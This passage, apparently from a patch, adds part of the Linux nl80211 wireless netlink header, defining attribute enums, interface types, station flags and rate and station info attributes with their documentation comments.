+ * shall support Radio Resource Measurements (11k). This attribute can be
+ * used with %NL80211_CMD_ASSOCIATE and %NL80211_CMD_CONNECT requests.
+ * User space applications are expected to use this flag only if the
+ * underlying device supports these minimal RRM features:
+ * %NL80211_FEATURE_DS_PARAM_SET_IE_IN_PROBES,
+ * %NL80211_FEATURE_QUIET,
+ * If this flag is used, driver must add the Power Capabilities IE to the
+ * association request. In addition, it must also set the RRM capability
+ * flag in the association request's Capability Info field.
+ *
+ * @NL80211_ATTR_WIPHY_DYN_ACK: flag attribute used to enable ACK timeout
+ * estimation algorithm (dynack). In order to activate dynack
+ * %NL80211_FEATURE_ACKTO_ESTIMATION feature flag must be set by lower
+ * drivers to indicate dynack capability. Dynack is automatically disabled
+ * setting valid value for coverage class.
+ *
+ * @NL80211_ATTR_TSID: a TSID value (u8 attribute)
+ * @NL80211_ATTR_USER_PRIO: user priority value (u8 attribute)
+ * @NL80211_ATTR_ADMITTED_TIME: admitted time in units of 32 microseconds
+ * (per second) (u16 attribute)
+ *
+ * @NL80211_ATTR_SMPS_MODE: SMPS mode to use (ap mode). see
+ * &enum nl80211_smps_mode.
+ *
+ * @NL80211_ATTR_PBSS: flag attribute. If set it means operate
+ * in a PBSS. Specified in %NL80211_CMD_CONNECT to request
+ * connecting to a PCP, and in %NL80211_CMD_START_AP to start
+ * a PCP instead of AP. Relevant for DMG networks only.
+ *
+ * @NL80211_ATTR_MAX: highest attribute number currently defined
+ * @__NL80211_ATTR_AFTER_LAST: internal use
+ */
+enum nl80211_attrs {
+ /* don't change the order or add anything between, this is ABI! */
+ NL80211_ATTR_UNSPEC,
+
+ NL80211_ATTR_WIPHY,
+ NL80211_ATTR_WIPHY_NAME,
+
+ NL80211_ATTR_IFINDEX,
+ NL80211_ATTR_IFNAME,
+ NL80211_ATTR_IFTYPE,
+
+ NL80211_ATTR_MAC,
+
+ NL80211_ATTR_KEY_DATA,
+ NL80211_ATTR_KEY_IDX,
+ NL80211_ATTR_KEY_CIPHER,
+ NL80211_ATTR_KEY_SEQ,
+ NL80211_ATTR_KEY_DEFAULT,
+
+ NL80211_ATTR_BEACON_INTERVAL,
+ NL80211_ATTR_DTIM_PERIOD,
+ NL80211_ATTR_BEACON_HEAD,
+ NL80211_ATTR_BEACON_TAIL,
+
+ NL80211_ATTR_STA_AID,
+ NL80211_ATTR_STA_FLAGS,
+ NL80211_ATTR_STA_LISTEN_INTERVAL,
+ NL80211_ATTR_STA_SUPPORTED_RATES,
+ NL80211_ATTR_STA_VLAN,
+ NL80211_ATTR_STA_INFO,
+
+ NL80211_ATTR_WIPHY_BANDS,
+
+ NL80211_ATTR_MNTR_FLAGS,
+
+ NL80211_ATTR_MESH_ID,
+ NL80211_ATTR_STA_PLINK_ACTION,
+ NL80211_ATTR_MPATH_NEXT_HOP,
+ NL80211_ATTR_MPATH_INFO,
+
+ NL80211_ATTR_BSS_CTS_PROT,
+ NL80211_ATTR_BSS_SHORT_PREAMBLE,
+ NL80211_ATTR_BSS_SHORT_SLOT_TIME,
+
+ NL80211_ATTR_HT_CAPABILITY,
+
+ NL80211_ATTR_SUPPORTED_IFTYPES,
+
+ NL80211_ATTR_REG_ALPHA2,
+ NL80211_ATTR_REG_RULES,
+
+ NL80211_ATTR_MESH_CONFIG,
+
+ NL80211_ATTR_BSS_BASIC_RATES,
+
+ NL80211_ATTR_WIPHY_TXQ_PARAMS,
+ NL80211_ATTR_WIPHY_FREQ,
+ NL80211_ATTR_WIPHY_CHANNEL_TYPE,
+
+ NL80211_ATTR_KEY_DEFAULT_MGMT,
+
+ NL80211_ATTR_MGMT_SUBTYPE,
+ NL80211_ATTR_IE,
+
+ NL80211_ATTR_MAX_NUM_SCAN_SSIDS,
+
+ NL80211_ATTR_SCAN_FREQUENCIES,
+ NL80211_ATTR_SCAN_SSIDS,
+ NL80211_ATTR_GENERATION, /* replaces old SCAN_GENERATION */
+ NL80211_ATTR_BSS,
+
+ NL80211_ATTR_REG_INITIATOR,
+ NL80211_ATTR_REG_TYPE,
+
+ NL80211_ATTR_SUPPORTED_COMMANDS,
+
+ NL80211_ATTR_FRAME,
+ NL80211_ATTR_SSID,
+ NL80211_ATTR_AUTH_TYPE,
+ NL80211_ATTR_REASON_CODE,
+
+ NL80211_ATTR_KEY_TYPE,
+
+ NL80211_ATTR_MAX_SCAN_IE_LEN,
+ NL80211_ATTR_CIPHER_SUITES,
+
+ NL80211_ATTR_FREQ_BEFORE,
+ NL80211_ATTR_FREQ_AFTER,
+
+ NL80211_ATTR_FREQ_FIXED,
+
+ NL80211_ATTR_WIPHY_RETRY_SHORT,
+ NL80211_ATTR_WIPHY_RETRY_LONG,
+ NL80211_ATTR_WIPHY_FRAG_THRESHOLD,
+ NL80211_ATTR_WIPHY_RTS_THRESHOLD,
+
+ NL80211_ATTR_TIMED_OUT,
+
+ NL80211_ATTR_USE_MFP,
+
+ NL80211_ATTR_STA_FLAGS2,
+
+ NL80211_ATTR_CONTROL_PORT,
+
+ NL80211_ATTR_TESTDATA,
+
+ NL80211_ATTR_PRIVACY,
+
+ NL80211_ATTR_DISCONNECTED_BY_AP,
+ NL80211_ATTR_STATUS_CODE,
+
+ NL80211_ATTR_CIPHER_SUITES_PAIRWISE,
+ NL80211_ATTR_CIPHER_SUITE_GROUP,
+ NL80211_ATTR_WPA_VERSIONS,
+ NL80211_ATTR_AKM_SUITES,
+
+ NL80211_ATTR_REQ_IE,
+ NL80211_ATTR_RESP_IE,
+
+ NL80211_ATTR_PREV_BSSID,
+
+ NL80211_ATTR_KEY,
+ NL80211_ATTR_KEYS,
+
+ NL80211_ATTR_PID,
+
+ NL80211_ATTR_4ADDR,
+
+ NL80211_ATTR_SURVEY_INFO,
+
+ NL80211_ATTR_PMKID,
+ NL80211_ATTR_MAX_NUM_PMKIDS,
+
+ NL80211_ATTR_DURATION,
+
+ NL80211_ATTR_COOKIE,
+
+ NL80211_ATTR_WIPHY_COVERAGE_CLASS,
+
+ NL80211_ATTR_TX_RATES,
+
+ NL80211_ATTR_FRAME_MATCH,
+
+ NL80211_ATTR_ACK,
+
+ NL80211_ATTR_PS_STATE,
+
+ NL80211_ATTR_CQM,
+
+ NL80211_ATTR_LOCAL_STATE_CHANGE,
+
+ NL80211_ATTR_AP_ISOLATE,
+
+ NL80211_ATTR_WIPHY_TX_POWER_SETTING,
+ NL80211_ATTR_WIPHY_TX_POWER_LEVEL,
+
+ NL80211_ATTR_TX_FRAME_TYPES,
+ NL80211_ATTR_RX_FRAME_TYPES,
+ NL80211_ATTR_FRAME_TYPE,
+
+ NL80211_ATTR_CONTROL_PORT_ETHERTYPE,
+ NL80211_ATTR_CONTROL_PORT_NO_ENCRYPT,
+
+ NL80211_ATTR_SUPPORT_IBSS_RSN,
+
+ NL80211_ATTR_WIPHY_ANTENNA_TX,
+ NL80211_ATTR_WIPHY_ANTENNA_RX,
+
+ NL80211_ATTR_MCAST_RATE,
+
+ NL80211_ATTR_OFFCHANNEL_TX_OK,
+
+ NL80211_ATTR_BSS_HT_OPMODE,
+
+ NL80211_ATTR_KEY_DEFAULT_TYPES,
+
+ NL80211_ATTR_MAX_REMAIN_ON_CHANNEL_DURATION,
+
+ NL80211_ATTR_MESH_SETUP,
+
+ NL80211_ATTR_WIPHY_ANTENNA_AVAIL_TX,
+ NL80211_ATTR_WIPHY_ANTENNA_AVAIL_RX,
+
+ NL80211_ATTR_SUPPORT_MESH_AUTH,
+ NL80211_ATTR_STA_PLINK_STATE,
+
+ NL80211_ATTR_WOWLAN_TRIGGERS,
+ NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED,
+
+ NL80211_ATTR_SCHED_SCAN_INTERVAL,
+
+ NL80211_ATTR_INTERFACE_COMBINATIONS,
+ NL80211_ATTR_SOFTWARE_IFTYPES,
+
+ NL80211_ATTR_REKEY_DATA,
+
+ NL80211_ATTR_MAX_NUM_SCHED_SCAN_SSIDS,
+ NL80211_ATTR_MAX_SCHED_SCAN_IE_LEN,
+
+ NL80211_ATTR_SCAN_SUPP_RATES,
+
+ NL80211_ATTR_HIDDEN_SSID,
+
+ NL80211_ATTR_IE_PROBE_RESP,
+ NL80211_ATTR_IE_ASSOC_RESP,
+
+ NL80211_ATTR_STA_WME,
+ NL80211_ATTR_SUPPORT_AP_UAPSD,
+
+ NL80211_ATTR_ROAM_SUPPORT,
+
+ NL80211_ATTR_SCHED_SCAN_MATCH,
+ NL80211_ATTR_MAX_MATCH_SETS,
+
+ NL80211_ATTR_PMKSA_CANDIDATE,
+
+ NL80211_ATTR_TX_NO_CCK_RATE,
+
+ NL80211_ATTR_TDLS_ACTION,
+ NL80211_ATTR_TDLS_DIALOG_TOKEN,
+ NL80211_ATTR_TDLS_OPERATION,
+ NL80211_ATTR_TDLS_SUPPORT,
+ NL80211_ATTR_TDLS_EXTERNAL_SETUP,
+
+ NL80211_ATTR_DEVICE_AP_SME,
+
+ NL80211_ATTR_DONT_WAIT_FOR_ACK,
+
+ NL80211_ATTR_FEATURE_FLAGS,
+
+ NL80211_ATTR_PROBE_RESP_OFFLOAD,
+
+ NL80211_ATTR_PROBE_RESP,
+
+ NL80211_ATTR_DFS_REGION,
+
+ NL80211_ATTR_DISABLE_HT,
+ NL80211_ATTR_HT_CAPABILITY_MASK,
+
+ NL80211_ATTR_NOACK_MAP,
+
+ NL80211_ATTR_INACTIVITY_TIMEOUT,
+
+ NL80211_ATTR_RX_SIGNAL_DBM,
+
+ NL80211_ATTR_BG_SCAN_PERIOD,
+
+ NL80211_ATTR_WDEV,
+
+ NL80211_ATTR_USER_REG_HINT_TYPE,
+
+ NL80211_ATTR_CONN_FAILED_REASON,
+
+ NL80211_ATTR_SAE_DATA,
+
+ NL80211_ATTR_VHT_CAPABILITY,
+
+ NL80211_ATTR_SCAN_FLAGS,
+
+ NL80211_ATTR_CHANNEL_WIDTH,
+ NL80211_ATTR_CENTER_FREQ1,
+ NL80211_ATTR_CENTER_FREQ2,
+
+ NL80211_ATTR_P2P_CTWINDOW,
+ NL80211_ATTR_P2P_OPPPS,
+
+ NL80211_ATTR_LOCAL_MESH_POWER_MODE,
+
+ NL80211_ATTR_ACL_POLICY,
+
+ NL80211_ATTR_MAC_ADDRS,
+
+ NL80211_ATTR_MAC_ACL_MAX,
+
+ NL80211_ATTR_RADAR_EVENT,
+
+ NL80211_ATTR_EXT_CAPA,
+ NL80211_ATTR_EXT_CAPA_MASK,
+
+ NL80211_ATTR_STA_CAPABILITY,
+ NL80211_ATTR_STA_EXT_CAPABILITY,
+
+ NL80211_ATTR_PROTOCOL_FEATURES,
+ NL80211_ATTR_SPLIT_WIPHY_DUMP,
+
+ NL80211_ATTR_DISABLE_VHT,
+ NL80211_ATTR_VHT_CAPABILITY_MASK,
+
+ NL80211_ATTR_MDID,
+ NL80211_ATTR_IE_RIC,
+
+ NL80211_ATTR_CRIT_PROT_ID,
+ NL80211_ATTR_MAX_CRIT_PROT_DURATION,
+
+ NL80211_ATTR_PEER_AID,
+
+ NL80211_ATTR_COALESCE_RULE,
+
+ NL80211_ATTR_CH_SWITCH_COUNT,
+ NL80211_ATTR_CH_SWITCH_BLOCK_TX,
+ NL80211_ATTR_CSA_IES,
+ NL80211_ATTR_CSA_C_OFF_BEACON,
+ NL80211_ATTR_CSA_C_OFF_PRESP,
+
+ NL80211_ATTR_RXMGMT_FLAGS,
+
+ NL80211_ATTR_STA_SUPPORTED_CHANNELS,
+
+ NL80211_ATTR_STA_SUPPORTED_OPER_CLASSES,
+
+ NL80211_ATTR_HANDLE_DFS,
+
+ NL80211_ATTR_SUPPORT_5_MHZ,
+ NL80211_ATTR_SUPPORT_10_MHZ,
+
+ NL80211_ATTR_OPMODE_NOTIF,
+
+ NL80211_ATTR_VENDOR_ID,
+ NL80211_ATTR_VENDOR_SUBCMD,
+ NL80211_ATTR_VENDOR_DATA,
+ NL80211_ATTR_VENDOR_EVENTS,
+
+ NL80211_ATTR_QOS_MAP,
+
+ NL80211_ATTR_MAC_HINT,
+ NL80211_ATTR_WIPHY_FREQ_HINT,
+
+ NL80211_ATTR_MAX_AP_ASSOC_STA,
+
+ NL80211_ATTR_TDLS_PEER_CAPABILITY,
+
+ NL80211_ATTR_IFACE_SOCKET_OWNER,
+
+ NL80211_ATTR_CSA_C_OFFSETS_TX,
+ NL80211_ATTR_MAX_CSA_COUNTERS,
+
+ NL80211_ATTR_TDLS_INITIATOR,
+
+ NL80211_ATTR_USE_RRM,
+
+ NL80211_ATTR_WIPHY_DYN_ACK,
+
+ NL80211_ATTR_TSID,
+ NL80211_ATTR_USER_PRIO,
+ NL80211_ATTR_ADMITTED_TIME,
+
+ NL80211_ATTR_SMPS_MODE,
+
+ NL80211_ATTR_OPER_CLASS,
+
+ NL80211_ATTR_MAC_MASK,
+
+ NL80211_ATTR_WIPHY_SELF_MANAGED_REG,
+
+ NL80211_ATTR_EXT_FEATURES,
+
+ NL80211_ATTR_SURVEY_RADIO_STATS,
+
+ NL80211_ATTR_NETNS_FD,
+
+ NL80211_ATTR_SCHED_SCAN_DELAY,
+
+ NL80211_ATTR_REG_INDOOR,
+
+ NL80211_ATTR_MAX_NUM_SCHED_SCAN_PLANS,
+ NL80211_ATTR_MAX_SCAN_PLAN_INTERVAL,
+ NL80211_ATTR_MAX_SCAN_PLAN_ITERATIONS,
+ NL80211_ATTR_SCHED_SCAN_PLANS,
+
+ NL80211_ATTR_PBSS,
+
+ /* add attributes here, update the policy in nl80211.c */
+
+ __NL80211_ATTR_AFTER_LAST,
+ NL80211_ATTR_MAX = __NL80211_ATTR_AFTER_LAST - 1
+};
+
+/* source-level API compatibility */
+#define NL80211_ATTR_SCAN_GENERATION NL80211_ATTR_GENERATION
+#define NL80211_ATTR_MESH_PARAMS NL80211_ATTR_MESH_CONFIG
+
+/*
+ * Allow user space programs to use #ifdef on new attributes by defining them
+ * here
+ */
+#define NL80211_CMD_CONNECT NL80211_CMD_CONNECT
+#define NL80211_ATTR_HT_CAPABILITY NL80211_ATTR_HT_CAPABILITY
+#define NL80211_ATTR_BSS_BASIC_RATES NL80211_ATTR_BSS_BASIC_RATES
+#define NL80211_ATTR_WIPHY_TXQ_PARAMS NL80211_ATTR_WIPHY_TXQ_PARAMS
+#define NL80211_ATTR_WIPHY_FREQ NL80211_ATTR_WIPHY_FREQ
+#define NL80211_ATTR_WIPHY_CHANNEL_TYPE NL80211_ATTR_WIPHY_CHANNEL_TYPE
+#define NL80211_ATTR_MGMT_SUBTYPE NL80211_ATTR_MGMT_SUBTYPE
+#define NL80211_ATTR_IE NL80211_ATTR_IE
+#define NL80211_ATTR_REG_INITIATOR NL80211_ATTR_REG_INITIATOR
+#define NL80211_ATTR_REG_TYPE NL80211_ATTR_REG_TYPE
+#define NL80211_ATTR_FRAME NL80211_ATTR_FRAME
+#define NL80211_ATTR_SSID NL80211_ATTR_SSID
+#define NL80211_ATTR_AUTH_TYPE NL80211_ATTR_AUTH_TYPE
+#define NL80211_ATTR_REASON_CODE NL80211_ATTR_REASON_CODE
+#define NL80211_ATTR_CIPHER_SUITES_PAIRWISE NL80211_ATTR_CIPHER_SUITES_PAIRWISE
+#define NL80211_ATTR_CIPHER_SUITE_GROUP NL80211_ATTR_CIPHER_SUITE_GROUP
+#define NL80211_ATTR_WPA_VERSIONS NL80211_ATTR_WPA_VERSIONS
+#define NL80211_ATTR_AKM_SUITES NL80211_ATTR_AKM_SUITES
+#define NL80211_ATTR_KEY NL80211_ATTR_KEY
+#define NL80211_ATTR_KEYS NL80211_ATTR_KEYS
+#define NL80211_ATTR_FEATURE_FLAGS NL80211_ATTR_FEATURE_FLAGS
+
+#define NL80211_MAX_SUPP_RATES 32
+#define NL80211_MAX_SUPP_HT_RATES 77
+#define NL80211_MAX_SUPP_REG_RULES 32
+#define NL80211_TKIP_DATA_OFFSET_ENCR_KEY 0
+#define NL80211_TKIP_DATA_OFFSET_TX_MIC_KEY 16
+#define NL80211_TKIP_DATA_OFFSET_RX_MIC_KEY 24
+#define NL80211_HT_CAPABILITY_LEN 26
+#define NL80211_VHT_CAPABILITY_LEN 12
+
+#define NL80211_MAX_NR_CIPHER_SUITES 5
+#define NL80211_MAX_NR_AKM_SUITES 2
+
+#define NL80211_MIN_REMAIN_ON_CHANNEL_TIME 10
+
+/* default RSSI threshold for scan results if none specified. */
+#define NL80211_SCAN_RSSI_THOLD_OFF -300
+
+#define NL80211_CQM_TXE_MAX_INTVL 1800
+
+/**
+ * enum nl80211_iftype - (virtual) interface types
+ *
+ * @NL80211_IFTYPE_UNSPECIFIED: unspecified type, driver decides
+ * @NL80211_IFTYPE_ADHOC: independent BSS member
+ * @NL80211_IFTYPE_STATION: managed BSS member
+ * @NL80211_IFTYPE_AP: access point
+ * @NL80211_IFTYPE_AP_VLAN: VLAN interface for access points; VLAN interfaces
+ * are a bit special in that they must always be tied to a pre-existing
+ * AP type interface.
+ * @NL80211_IFTYPE_WDS: wireless distribution interface
+ * @NL80211_IFTYPE_MONITOR: monitor interface receiving all frames
+ * @NL80211_IFTYPE_MESH_POINT: mesh point
+ * @NL80211_IFTYPE_P2P_CLIENT: P2P client
+ * @NL80211_IFTYPE_P2P_GO: P2P group owner
+ * @NL80211_IFTYPE_P2P_DEVICE: P2P device interface type, this is not a netdev
+ * and therefore can't be created in the normal ways, use the
+ * %NL80211_CMD_START_P2P_DEVICE and %NL80211_CMD_STOP_P2P_DEVICE
+ * commands to create and destroy one
+ * @NL80211_IFTYPE_MAX: highest interface type number currently defined
+ * @NUM_NL80211_IFTYPES: number of defined interface types
+ *
+ * These values are used with the %NL80211_ATTR_IFTYPE
+ * to set the type of an interface.
+ *
+ */
+enum nl80211_iftype {
+ NL80211_IFTYPE_UNSPECIFIED,
+ NL80211_IFTYPE_ADHOC,
+ NL80211_IFTYPE_STATION,
+ NL80211_IFTYPE_AP,
+ NL80211_IFTYPE_AP_VLAN,
+ NL80211_IFTYPE_WDS,
+ NL80211_IFTYPE_MONITOR,
+ NL80211_IFTYPE_MESH_POINT,
+ NL80211_IFTYPE_P2P_CLIENT,
+ NL80211_IFTYPE_P2P_GO,
+ NL80211_IFTYPE_P2P_DEVICE,
+
+ /* keep last */
+ NUM_NL80211_IFTYPES,
+ NL80211_IFTYPE_MAX = NUM_NL80211_IFTYPES - 1
+};
+
+/**
+ * enum nl80211_sta_flags - station flags
+ *
+ * Station flags. When a station is added to an AP interface, it is
+ * assumed to be already associated (and hence authenticated.)
+ *
+ * @__NL80211_STA_FLAG_INVALID: attribute number 0 is reserved
+ * @NL80211_STA_FLAG_AUTHORIZED: station is authorized (802.1X)
+ * @NL80211_STA_FLAG_SHORT_PREAMBLE: station is capable of receiving frames
+ * with short barker preamble
+ * @NL80211_STA_FLAG_WME: station is WME/QoS capable
+ * @NL80211_STA_FLAG_MFP: station uses management frame protection
+ * @NL80211_STA_FLAG_AUTHENTICATED: station is authenticated
+ * @NL80211_STA_FLAG_TDLS_PEER: station is a TDLS peer -- this flag should
+ * only be used in managed mode (even in the flags mask). Note that the
+ * flag can't be changed, it is only valid while adding a station, and
+ * attempts to change it will silently be ignored (rather than rejected
+ * as errors.)
+ * @NL80211_STA_FLAG_ASSOCIATED: station is associated; used with drivers
+ * that support %NL80211_FEATURE_FULL_AP_CLIENT_STATE to transition a
+ * previously added station into associated state
+ * @NL80211_STA_FLAG_MAX: highest station flag number currently defined
+ * @__NL80211_STA_FLAG_AFTER_LAST: internal use
+ */
+enum nl80211_sta_flags {
+ __NL80211_STA_FLAG_INVALID,
+ NL80211_STA_FLAG_AUTHORIZED,
+ NL80211_STA_FLAG_SHORT_PREAMBLE,
+ NL80211_STA_FLAG_WME,
+ NL80211_STA_FLAG_MFP,
+ NL80211_STA_FLAG_AUTHENTICATED,
+ NL80211_STA_FLAG_TDLS_PEER,
+ NL80211_STA_FLAG_ASSOCIATED,
+
+ /* keep last */
+ __NL80211_STA_FLAG_AFTER_LAST,
+ NL80211_STA_FLAG_MAX = __NL80211_STA_FLAG_AFTER_LAST - 1
+};
+
+#define NL80211_STA_FLAG_MAX_OLD_API NL80211_STA_FLAG_TDLS_PEER
+
+/**
+ * struct nl80211_sta_flag_update - station flags mask/set
+ * @mask: mask of station flags to set
+ * @set: which values to set them to
+ *
+ * Both mask and set contain bits as per &enum nl80211_sta_flags.
+ */
+struct nl80211_sta_flag_update {
+ __u32 mask;
+ __u32 set;
+} __attribute__((packed));
+
+/**
+ * enum nl80211_rate_info - bitrate information
+ *
+ * These attribute types are used with %NL80211_STA_INFO_TXRATE
+ * when getting information about the bitrate of a station.
+ * There are 2 attributes for bitrate, a legacy one that represents
+ * a 16-bit value, and new one that represents a 32-bit value.
+ * If the rate value fits into 16 bit, both attributes are reported
+ * with the same value. If the rate is too high to fit into 16 bits
+ * (>6.5535Gbps) only 32-bit attribute is included.
+ * User space tools encouraged to use the 32-bit attribute and fall
+ * back to the 16-bit one for compatibility with older kernels.
+ *
+ * @__NL80211_RATE_INFO_INVALID: attribute number 0 is reserved
+ * @NL80211_RATE_INFO_BITRATE: total bitrate (u16, 100kbit/s)
+ * @NL80211_RATE_INFO_MCS: mcs index for 802.11n (u8)
+ * @NL80211_RATE_INFO_40_MHZ_WIDTH: 40 MHz dualchannel bitrate
+ * @NL80211_RATE_INFO_SHORT_GI: 400ns guard interval
+ * @NL80211_RATE_INFO_BITRATE32: total bitrate (u32, 100kbit/s)
+ * @NL80211_RATE_INFO_MAX: highest rate_info number currently defined
+ * @NL80211_RATE_INFO_VHT_MCS: MCS index for VHT (u8)
+ * @NL80211_RATE_INFO_VHT_NSS: number of streams in VHT (u8)
+ * @NL80211_RATE_INFO_80_MHZ_WIDTH: 80 MHz VHT rate
+ * @NL80211_RATE_INFO_80P80_MHZ_WIDTH: 80+80 MHz VHT rate
+ * @NL80211_RATE_INFO_160_MHZ_WIDTH: 160 MHz VHT rate
+ * @__NL80211_RATE_INFO_AFTER_LAST: internal use
+ */
+enum nl80211_rate_info {
+ __NL80211_RATE_INFO_INVALID,
+ NL80211_RATE_INFO_BITRATE,
+ NL80211_RATE_INFO_MCS,
+ NL80211_RATE_INFO_40_MHZ_WIDTH,
+ NL80211_RATE_INFO_SHORT_GI,
+ NL80211_RATE_INFO_BITRATE32,
+ NL80211_RATE_INFO_VHT_MCS,
+ NL80211_RATE_INFO_VHT_NSS,
+ NL80211_RATE_INFO_80_MHZ_WIDTH,
+ NL80211_RATE_INFO_80P80_MHZ_WIDTH,
+ NL80211_RATE_INFO_160_MHZ_WIDTH,
+
+ /* keep last */
+ __NL80211_RATE_INFO_AFTER_LAST,
+ NL80211_RATE_INFO_MAX = __NL80211_RATE_INFO_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_sta_bss_param - BSS information collected by STA
+ *
+ * These attribute types are used with %NL80211_STA_INFO_BSS_PARAM
+ * when getting information about the bitrate of a station.
+ *
+ * @__NL80211_STA_BSS_PARAM_INVALID: attribute number 0 is reserved
+ * @NL80211_STA_BSS_PARAM_CTS_PROT: whether CTS protection is enabled (flag)
+ * @NL80211_STA_BSS_PARAM_SHORT_PREAMBLE: whether short preamble is enabled
+ * (flag)
+ * @NL80211_STA_BSS_PARAM_SHORT_SLOT_TIME: whether short slot time is enabled
+ * (flag)
+ * @NL80211_STA_BSS_PARAM_DTIM_PERIOD: DTIM period for beaconing (u8)
+ * @NL80211_STA_BSS_PARAM_BEACON_INTERVAL: Beacon interval (u16)
+ * @NL80211_STA_BSS_PARAM_MAX: highest sta_bss_param number currently defined
+ * @__NL80211_STA_BSS_PARAM_AFTER_LAST: internal use
+ */
+enum nl80211_sta_bss_param {
+ __NL80211_STA_BSS_PARAM_INVALID,
+ NL80211_STA_BSS_PARAM_CTS_PROT,
+ NL80211_STA_BSS_PARAM_SHORT_PREAMBLE,
+ NL80211_STA_BSS_PARAM_SHORT_SLOT_TIME,
+ NL80211_STA_BSS_PARAM_DTIM_PERIOD,
+ NL80211_STA_BSS_PARAM_BEACON_INTERVAL,
+
+ /* keep last */
+ __NL80211_STA_BSS_PARAM_AFTER_LAST,
+ NL80211_STA_BSS_PARAM_MAX = __NL80211_STA_BSS_PARAM_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_sta_info - station information
+ *
+ * These attribute types are used with %NL80211_ATTR_STA_INFO
+ * when getting information about a station.
+ *
+ * @__NL80211_STA_INFO_INVALID: attribute number 0 is reserved
+ * @NL80211_STA_INFO_INACTIVE_TIME: time since last activity (u32, msecs)
+ * @NL80211_STA_INFO_RX_BYTES: total received bytes (u32, from this station)
+ * @NL80211_STA_INFO_TX_BYTES: total transmitted bytes (u32, to this station)
+ * @NL80211_STA_INFO_RX_BYTES64: total received bytes (u64, from this station)
+ * @NL80211_STA_INFO_TX_BYTES64: total transmitted bytes (u64, to this station)
+ * @NL80211_STA_INFO_SIGNAL: signal strength of last received PPDU (u8, dBm)
+ * @NL80211_STA_INFO_TX_BITRATE: current unicast tx rate, nested attribute
+ * containing info as possible, see &enum nl80211_rate_info
+ * @NL80211_STA_INFO_RX_PACKETS: total received packet (u32, from this station)
+ * @NL80211_STA_INFO_TX_PACKETS: total transmitted packets (u32, to this
+ * station)
+ * @NL80211_STA_INFO_TX_RETRIES: total retries (u32, to this station)
+ * @NL80211_STA_INFO_TX_FAILED: total failed packets (u32, to this station)
+ * @NL80211_STA_INFO_SIGNAL_AVG: signal strength average (u8, dBm)
+ * @NL80211_STA_INFO_LLID: the station's mesh LLID
+ * @NL80211_STA_INFO_PLID: the station's mesh PLID
+ * @NL80211_STA_INFO_PLINK_STATE: peer link state for the station
+ * (see %enum nl80211_plink_state)
+ * @NL80211_STA_INFO_RX_BITRATE: last unicast data frame rx rate, nested
+ * attribute, like NL80211_STA_INFO_TX_BITRATE.
+ * @NL80211_STA_INFO_BSS_PARAM: current station's view of BSS, nested attribute
+ * containing info as possible, see &enum nl80211_sta_bss_param
+ * @NL80211_STA_INFO_CONNECTED_TIME: time since the station is last connected
+ * @NL80211_STA_INFO_STA_FLAGS: Contains a struct nl80211_sta_flag_update.
+ * @NL80211_STA_INFO_BEACON_LOSS: count of times beacon loss was detected (u32)
+ * @NL80211_STA_INFO_T_OFFSET: timing offset with respect to this STA (s64)
+ * @NL80211_STA_INFO_LOCAL_PM: local mesh STA link-specific power mode
+ * @NL80211_STA_INFO_PEER_PM: peer mesh STA link-specific power mode
+ * @NL80211_STA_INFO_NONPEER_PM: neighbor mesh STA power save mode towards
+ * non-peer STA
+ * @NL80211_STA_INFO_CHAIN_SIGNAL: per-chain signal strength of last PPDU
+ * Contains a nested array of signal strength attributes (u8, dBm)
+ * @NL80211_STA_INFO_CHAIN_SIGNAL_AVG: per-chain signal strength average
+ * Same format as NL80211_STA_INFO_CHAIN_SIGNAL.
+ * @NL80211_STA_EXPECTED_THROUGHPUT: expected throughput considering also the
+ * 802.11 header (u32, kbps)
+ * @__NL80211_STA_INFO_AFTER_LAST: internal
+ * @NL80211_STA_INFO_MAX: highest possible station info attribute
+ */
+enum nl80211_sta_info {
+ __NL80211_STA_INFO_INVALID,
+ NL80211_STA_INFO_INACTIVE_TIME,
+ NL80211_STA_INFO_RX_BYTES,
+ NL80211_STA_INFO_TX_BYTES,
+ NL80211_STA_INFO_LLID,
+ NL80211_STA_INFO_PLID,
+ NL80211_STA_INFO_PLINK_STATE,
+ NL80211_STA_INFO_SIGNAL,
+ NL80211_STA_INFO_TX_BITRATE,
+ NL80211_STA_INFO_RX_PACKETS,
+ NL80211_STA_INFO_TX_PACKETS,
+ NL80211_STA_INFO_TX_RETRIES,
+ NL80211_STA_INFO_TX_FAILED,
+ NL80211_STA_INFO_SIGNAL_AVG,
+ NL80211_STA_INFO_RX_BITRATE,
+ NL80211_STA_INFO_BSS_PARAM,
+ NL80211_STA_INFO_CONNECTED_TIME,
+ NL80211_STA_INFO_STA_FLAGS,
+ NL80211_STA_INFO_BEACON_LOSS,
+ NL80211_STA_INFO_T_OFFSET,
+ NL80211_STA_INFO_LOCAL_PM,
+ NL80211_STA_INFO_PEER_PM,
+ NL80211_STA_INFO_NONPEER_PM,
+ NL80211_STA_INFO_RX_BYTES64,
+ NL80211_STA_INFO_TX_BYTES64,
+ NL80211_STA_INFO_CHAIN_SIGNAL,
+ NL80211_STA_INFO_CHAIN_SIGNAL_AVG,
+ NL80211_STA_INFO_EXPECTED_THROUGHPUT,
+
+ /* keep last */
+ __NL80211_STA_INFO_AFTER_LAST,
+ NL80211_STA_INFO_MAX = __NL80211_STA_INFO_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_mpath_flags - nl80211 mesh path flags
+ *
+ * @NL80211_MPATH_FLAG_ACTIVE: the mesh path is active
+ * @NL80211_MPATH_FLAG_RESOLVING: the mesh path discovery process is running
+ * @NL80211_MPATH_FLAG_SN_VALID: the mesh path contains a valid SN
+ * @NL80211_MPATH_FLAG_FIXED: the mesh path has been manually set
+ * @NL80211_MPATH_FLAG_RESOLVED: the mesh path discovery process succeeded
+ */
+enum nl80211_mpath_flags {
+ NL80211_MPATH_FLAG_ACTIVE = 1 << 0,
+ NL80211_MPATH_FLAG_RESOLVING = 1 << 1,
+ NL80211_MPATH_FLAG_SN_VALID = 1 << 2,
+ NL80211_MPATH_FLAG_FIXED = 1 << 3,
+ NL80211_MPATH_FLAG_RESOLVED = 1 << 4,
+};
+
+/**
+ * enum nl80211_mpath_info - mesh path information
+ *
+ * These attribute types are used with %NL80211_ATTR_MPATH_INFO when getting
+ * information about a mesh path.
+ *
+ * @__NL80211_MPATH_INFO_INVALID: attribute number 0 is reserved
+ * @NL80211_MPATH_INFO_FRAME_QLEN: number of queued frames for this destination
+ * @NL80211_MPATH_INFO_SN: destination sequence number
